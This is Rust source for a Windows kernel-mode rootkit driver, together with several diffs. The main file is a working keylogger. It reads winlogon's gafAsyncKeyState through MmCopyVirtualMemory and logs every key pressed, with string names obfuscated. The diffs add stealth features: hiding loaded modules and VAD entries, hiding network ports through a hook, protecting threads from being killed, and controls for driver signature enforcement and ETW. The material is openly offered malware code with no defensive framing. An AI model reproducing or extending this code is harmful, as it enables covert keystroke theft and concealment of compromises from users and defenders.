pub mod macros;
pub mod keys;
/// Global variable to store the keylogger's status.
pub static mut STATUS: bool = false;
/// Global variable to control the shutdown of the keylogger.
pub static mut SHUTDOWN: bool = false;
/// Process Winlogon.
static mut WINLOGON_EPROCESS: Option<Process> = None;
/// PID of the process.
static mut PID: Option<usize> = None;
/// Key states.
static mut KEY_STATE: [u8; 64] = [0; 64];
static mut KEY_PREVIOUS: [u8; 64] = [0; 64];
static mut KEY_RECENT: [u8; 64] = [0; 64];
/// Converts a virtual key code to a character.
///
/// # Parameters
///
/// - `key`: The code for the virtual key.
///
/// # Returns
///
/// - `&'static str`: A string representing the character corresponding to the code of the virtual key.
///
fn vk_to_char(key: u8) -> &'static str {
for &(vk, char) in &VK_CHARS {
if vk == key {
return char;
}
}
"UNKNOWN"
}
/// Updates the status of the keys.
///
/// # Parameters
///
/// - `address`: Array address `gafAsyncKeyState`.
///
unsafe fn update_key_state(address: *mut u8) {
core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64);
if !initialize_winlogon_process() {
return;
}
if let Some(winlogon_eprocess) = WINLOGON_EPROCESS.as_ref() {
let mut return_number = 0;
MmCopyVirtualMemory(
winlogon_eprocess.e_process,
address as _,
IoGetCurrentProcess(),
KEY_STATE.as_ptr() as *mut c_void,
size_of::<[u8; 64]>() as u64,
KernelMode as i8,
&mut return_number,
);
for i in 0..256 {
if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) {
set_key_down!(KEY_RECENT, i, true);
}
}
} else {
log::error!("[!] Error updating key status")
}
}
/// Starts the Winlogon process.
///
/// # Returns
///
/// - `bool`: if the Winlogon process was successfully initialized, otherwise `false`.
///
unsafe fn initialize_winlogon_process() -> bool {
if WINLOGON_EPROCESS.is_some() && PID.is_some() {
return true;
}
PID = get_process_by_name(obfstr!("winlogon.exe"));
if let Some(pid) = PID {
WINLOGON_EPROCESS = Process::new(pid);
WINLOGON_EPROCESS.is_some()
} else {
false
}
}
/// Checks if a key has been pressed.
///
/// # Parameters
///
/// - `key`: The key code.
///
/// # Returns
///
/// - `bool`: if the key was pressed, otherwise `false`.
///
unsafe fn key_pressed(key: u8) -> bool {
let result = is_key_down!(KEY_RECENT, key);
set_key_down!(KEY_RECENT, key, false);
result
}
/// The keylogger's main function.
///
/// # Parameters
///
/// - `_address`: Function address (Is not used).
///
pub unsafe extern "C" fn keylogger(_address: *mut c_void) {
let function_address = match get_gafasynckeystate_address() {
Some(addr) => addr,
None => return,
};
while !SHUTDOWN {
if STATUS {
// Read the contents of gafAsyncKeyStateAddr and send to KEY_STATE
update_key_state(function_address);
for i in 0..256 {
if key_pressed(i as u8) {
log::info!("{} pressed", vk_to_char(i as u8));
}
}
}
let mut interval = LARGE_INTEGER {
QuadPart: -1 * -(50 * 10000_i64),
};
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
}
PsTerminateSystemThread(STATUS_SUCCESS);
}
/// Get the address of the `gafAsyncKeyState` array.
///
/// # Returns
///
/// `Option<PVOID>`: The address of the `gafAsyncKeyState` array if found, otherwise `None`.
///
unsafe fn get_gafasynckeystate_address() -> Option<*mut u8> {
if !initialize_winlogon_process() {
return None
}
let winlogon_eprocess = WINLOGON_EPROCESS.as_ref()?;
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
let attach_process = ProcessAttach::new(winlogon_eprocess.e_process);
// fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)]
// fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax
let pattern = [0x48, 0x8B, 0x05];
scan_for_pattern(function_address, &pattern, 3, 7, 0x200, u32::from_le_bytes)
}
/// Sets the keylogger status.
///
/// # Parameters
/// - `info`: Pointer to the `Keylogger` structure.
///
/// # Returns
/// `NTSTATUS`: Returns STATUS_SUCCESS.
///
pub unsafe fn set_keylogger_state(info: *mut Keylogger) -> NTSTATUS {
STATUS = (*info).enable;
STATUS_SUCCESS
}

View File

@@ -3,17 +3,20 @@ use {
ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB},
shared::structs::{ModuleInfo, TargetModule, TargetProcess},
wdk_sys::{
ntddk::IoGetCurrentProcess,
ntddk::IoGetCurrentProcess, _MODE::KernelMode,
FILE_OBJECT, NTSTATUS, POOL_FLAG_NON_PAGED, RTL_BALANCED_NODE,
STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL,
_MODE::KernelMode
STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL,
},
crate::{
internals::{
structs::MMVAD_SHORT, vad::MMVAD,
externs::{MmCopyVirtualMemory, PsGetProcessPeb}
},
process::Process, utils::{pool::PoolMemory, process_attach::ProcessAttach}
process::Process,
utils::{
pool::PoolMemory, process_attach::ProcessAttach,
offsets::get_vad_root,
}
},
};
@@ -162,7 +165,9 @@ impl Module {
return Err(STATUS_UNSUCCESSFUL);
}
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
log::info!("==> {}", module_name.contains(&dll_name.to_lowercase()));
log::info!("==> {}", module_name);
if module_name.contains(&dll_name.to_lowercase()) {
// Removes the module from the load order list
Self::remove_link(&mut (*list_entry).InLoadOrderLinks);
@@ -198,8 +203,9 @@ impl Module {
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status.
///
pub unsafe fn hide_object(target_address: u64, target_eprocess: Process) -> Result<(), NTSTATUS> {
let vad_root = 0x7d8;
let vad_table = target_eprocess.e_process.cast::<u8>().offset(vad_root) as *mut RTL_BALANCED_NODE;
let vad_root = get_vad_root();
log::info!("{:x}", vad_root);
let vad_table = target_eprocess.e_process.cast::<u8>().offset(vad_root as isize) as *mut RTL_BALANCED_NODE;
let current_node = vad_table;
// Uses a stack to iteratively traverse the tree

View File

@@ -1,10 +1,11 @@
use {
alloc::boxed::Box,
hashbrown::HashMap,
wdk_sys::{IO_STACK_LOCATION, IRP},
super::port::add_remove_port_toggle,
crate::{utils::ioctls::IoctlHandler, handle},
shared::{ioctls::IOCTL_PORT, structs::PortInfo},
hashbrown::HashMap,
core::sync::atomic::Ordering,
wdk_sys::{IO_STACK_LOCATION, IRP, NT_SUCCESS},
shared::{ioctls::IOCTL_PORT, structs::PortInfo},
crate::{handle, utils::ioctls::IoctlHandler, Port},
super::{port::{add_remove_port_toggle, PROTECTED_PORTS}, HOOK_INSTALLED},
};
/// Registers the IOCTL handlers for port-related operations.
@@ -20,7 +21,22 @@ use {
pub fn get_port_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Responsible for hide/unhide Port.
ioctls.insert(IOCTL_PORT, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
let protected_ports = PROTECTED_PORTS.lock();
if protected_ports.is_empty() && !HOOK_INSTALLED.load(Ordering::Relaxed) {
unsafe { Port::install_hook() };
}
drop(protected_ports);
let status = unsafe { handle!(stack, add_remove_port_toggle, PortInfo) };
if NT_SUCCESS(status) {
let protected_ports = PROTECTED_PORTS.lock();
if protected_ports.is_empty() && HOOK_INSTALLED.load(Ordering::Relaxed) {
unsafe { Port::uninstall_hook() };
}
}
unsafe { (*irp).IoStatus.Information = 0 };
status

View File

@@ -41,7 +41,7 @@ fn add_target_port(port: *mut PortInfo) -> NTSTATUS {
let mut ports = PROTECTED_PORTS.lock();
let port = unsafe { *port };
if ports.len() >= 100 {
if ports.len() >= MAX_PORT {
log::error!("Port list is full");
return STATUS_UNSUCCESSFUL;
}
@@ -70,7 +70,11 @@ fn remove_target_port(port: *mut PortInfo) -> NTSTATUS {
let mut ports = PROTECTED_PORTS.lock();
(unsafe { *port }).enable = true;
if let Some(index) = ports.iter().position(|&p| p == unsafe { *port }) {
if let Some(index) = ports.iter().position(|&p| {
p.protocol == (unsafe { *port }).protocol
&& p.port_type == (unsafe { *port }).port_type
&& p.port_number == (unsafe { *port }).port_number
}) {
ports.remove(index);
STATUS_SUCCESS
} else {
@@ -79,11 +83,19 @@ fn remove_target_port(port: *mut PortInfo) -> NTSTATUS {
}
}
/// Checks if a port is in the list of protected ports.
///
/// This function locks access to the `PROTECTED_PORTS` list and verifies
/// if the given `port` is contained within it.
///
/// # Arguments
///
/// * `port` - A `PortInfo` struct that represents the port to be checked.
///
/// # Returns
///
/// - `bool`: `true` if the `port` is in the protected list, otherwise returns `false`.
///
///
///
///
///
pub fn check_port(port: PortInfo) -> bool {
PROTECTED_PORTS.lock().contains(&port)
}

View File

@@ -238,6 +238,7 @@ impl Registry<String> {
/// # Returns
///
/// - `bool`: Returns true if the key is in the list, or false otherwise.
///
pub fn check_key(key: String, list: MutexGuard<Vec<String>>) -> bool {
Vec::contains_item(&list, &key)
}

View File

@@ -130,7 +130,6 @@ pub unsafe extern "C" fn on_pre_open_thread(
let tids = TARGET_TIDS.lock();
if tids.contains(&tid) {
log::info!("Anti-Kill actived with TID => {}", tid);
let mask = !(THREAD_TERMINATE | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT);
(*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask;
}

View File

@@ -32,11 +32,11 @@ use {
slice::from_raw_parts
},
crate::{
process::Process,
internals::{
structs::SystemModuleInformation,
externs::PsGetProcessPeb
},
process::Process
},
};
@@ -488,4 +488,21 @@ where
}
result // Returns the result of the operation
}
///
///
///
///
///
pub fn get_windows_build_number() -> u32 {
unsafe {
let mut os_info: OSVERSIONINFOW = core::mem::zeroed();
os_info.dwOSVersionInfoSize = core::mem::size_of::<OSVERSIONINFOW>() as u32;
if RtlGetVersion(&mut os_info) != 0 {
return os_info.dwBuildNumber;
}
}
0
}

View File

@@ -1,6 +1,31 @@
use crate::utils::uni;
use wdk_sys::ntddk::MmGetSystemRoutineAddress;
pub static mut BUILD_NUMBER: u32 = 0;
const WIN_1507: u32 = 10240;
const WIN_1511: u32 = 10586;
const WIN_1607: u32 = 14393;
const WIN_1703: u32 = 15063;
const WIN_1709: u32 = 16299;
const WIN_1803: u32 = 17134;
const WIN_1809: u32 = 17763;
const WIN_1903: u32 = 18362;
const WIN_1909: u32 = 18363;
#[allow(dead_code)]
const WIN_2004: u32 = 19041;
#[allow(dead_code)]
const WIN_20H2: u32 = 19042;
#[allow(dead_code)]
const WIN_21H1: u32 = 19043;
#[allow(dead_code)]
const WIN_21H2: u32 = 19044;
#[allow(dead_code)]
const WIN_22H2: u32 = 19045;
#[allow(dead_code)]
const WIN_1121H2: u32 = 22000;
#[allow(dead_code)]
const WIN_1122H2: u32 = 22621;
/// Gets the offset of the `SignatureLevel` in the `EPROCESS` structure.
///
/// # Returns
@@ -15,9 +40,7 @@ pub unsafe fn get_offset_signature() -> isize {
.try_into()
.map(u16::from_le_bytes)
.expect("Slice length is not 2, cannot convert");
log::info!("EPROCESS.SignatureLevel: {:#x}", offset);
offset as isize
}
@@ -27,6 +50,7 @@ pub unsafe fn get_offset_signature() -> isize {
///
/// - `isize`: Returns the offset of the dynamically retrieved structure.
///
///
pub unsafe fn get_offset_unique_process_id() -> isize {
let mut function_name = uni::str_to_unicode("PsGetProcessId").to_unicode();
let address = MmGetSystemRoutineAddress(&mut function_name);
@@ -36,8 +60,6 @@ pub unsafe fn get_offset_unique_process_id() -> isize {
.map(u16::from_le_bytes)
.expect("Slice length is not 2, cannot convert");
log::info!("EPROCESS.UniqueProcessId: {:#x}", offset);
offset as isize
}
@@ -56,8 +78,6 @@ pub unsafe fn get_offset_token() -> isize {
.map(u16::from_le_bytes)
.expect("Slice length is not 2, cannot convert");
log::info!("EPROCESS.Token: {:#x}", offset);
offset as isize
}
@@ -76,7 +96,23 @@ pub unsafe fn get_rundown_protect() -> isize {
.map(u16::from_le_bytes)
.expect("Slice length is not 2, cannot convert");
log::info!("ETHREAD.RundownProtect: {:#x}", offset);
offset as isize
}
/// Returns the virtual address descriptor (VAD) root offset based on the Windows build number.
///
/// # Returns
///
/// - `u32`: value representing the offset for the VAD root depending on the Windows build number.
///
#[inline]
pub unsafe fn get_vad_root() -> u32 {
match BUILD_NUMBER {
WIN_1507 => 0x608,
WIN_1511 => 0x610,
WIN_1607 => 0x620,
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628,
WIN_1903 | WIN_1909 => 0x658,
_ => 0x7d8,
}
}

View File

@@ -1,5 +1,6 @@
const FILE_DEVICE_UNKNOWN: u32 = 34;
const METHOD_NEITHER: u32 = 3;
const METHOD_BUFFERED: u32 = 0;
const FILE_ANY_ACCESS: u32 = 0;
macro_rules! CTL_CODE {
@@ -29,7 +30,7 @@ pub const IOCTL_ENUMERATE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x810, ME
pub const IOCTL_ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_NEITHER, FILE_ANY_ACCESS);
// Keylogger
pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS);
// ETWTI
pub const IOCTL_ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS);

View File

@@ -33,17 +33,6 @@ pub struct LIST_ENTRY {
pub Blink: *mut LIST_ENTRY,
}
/// Represents the state of the keylogger system.
///
/// This struct is used to manage whether the keylogger functionality is enabled
/// or disabled. The `enable` field indicates if the keylogger is active.
#[repr(C)]
#[derive(Debug)]
pub struct Keylogger {
/// A boolean value indicating if the keylogger is enabled (`true`) or disabled (`false`).
pub enable: bool,
}
/// Represents the state of ETWTI (Event Tracing for Windows Thread Information).
///
/// This struct manages whether ETWTI is enabled or disabled for capturing thread
@@ -85,9 +74,7 @@ pub struct TargetInjection {
/// Represents information about a network or communication port.
///
/// This struct holds information about a specific port, including the protocol used,
/// the type of port, its number, and whether the port is enabled or disabled.
/// It is marked as `#[repr(C)]` for compatibility with C-style layouts, making it suitable for
/// FFI (Foreign Function Interface) and low-level systems programming.
/// the type of port, its number, and whether the port is enabled or disabled.
#[repr(C)]
#[derive(Debug, Clone, Copy, PartialEq)]
pub struct PortInfo {
@@ -95,7 +82,7 @@ pub struct PortInfo {
/// This field is represented by the `Protocol` enum.
pub protocol: Protocol,
/// The type of port (e.g., open, filtered).
/// The type of port (e.g., local, remote).
/// This field is represented by the `PortType` enum.
pub port_type: PortType,